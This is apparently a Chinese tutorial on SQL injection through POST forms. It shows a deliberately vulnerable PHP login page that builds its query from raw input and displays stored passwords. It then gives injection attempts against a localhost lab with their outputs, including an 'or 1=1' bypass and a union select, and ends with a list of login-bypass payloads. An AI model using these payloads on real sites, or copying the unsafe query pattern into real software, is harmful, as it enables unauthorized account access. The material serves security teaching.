1、代码篇
</html> <center> <form action="#" method="post"> 姓名:<input type="text" name="user"><br> 密码:<input type="text" name="pass"><br> <input type="submit" name="submit" value="提交"> </center> </html> <?php /************************* author:Bloodero sql_injection_post *************************/ include("../conn.php"); error_reporting(0); if(isset($_POST['submit'])){ if(!empty($_POST['user']) && !empty($_POST['pass'])){ $user=$_POST['user']; $pass=$_POST['pass']; echo "你当前输入用户名:".$user."<br>"; echo "你当前输入密码:".$pass."<br>"; $sql="select * from user where username='$user' and password='$pass'"; $res=mysql_query($sql); $row=mysql_fetch_array($res); if(empty($row)){ echo "<script>alert('登陆失败')</script>"; } else{ echo "当前用户:<br>"; echo "id:".$row['id']."<br>"; echo "username:".$row['username']."<br>"; echo "password:".$row['password']."<br>"; } } else{ echo "<script>alert('用户名/密码不能为空')</script>"; } } else{ exit(); } ?>
2、注入篇:http://localhost/pentest/sql/sql_injection_post.php
正确输入:
你当前输入用户名:admin 你当前输入密码:pass 当前用户: id:1 username:admin password:pass
尝试注入:
你当前输入用户名:1'
你当前输入密码:1
登陆失败
你当前输入用户名:1' #
你当前输入密码:1
登陆失败
你当前输入用户名:1' or 1=1#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass
登陆成功
你当前输入用户名:1' or 1=2#
你当前输入密码:1
登陆失败
这里我解释一下原理:
当我们闭合了where语句,然后再后面接or 1=2时,这时候恒假,所以不会有结果;
当我们接or 1=1时,恒真,所以就会查询所有;
你当前输入用户名:1' and 1=2 union select * from user#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass
这里的原理不懂的可以去看看第一发sql_injection;
3、防注入
对post过来的数据,进行处理;会有一篇进行详细讲解
4、通过post注入,引生的万能密码
"or "a"="a ')or('a'='a or 1=1-- 'or 1=1-- a'or' 1=1-- admin' or 'a'='a 密码随便 'or 1=1/* User: something Pass: ' or '1'='1 1'or'1'='1 admin' or 1=1/*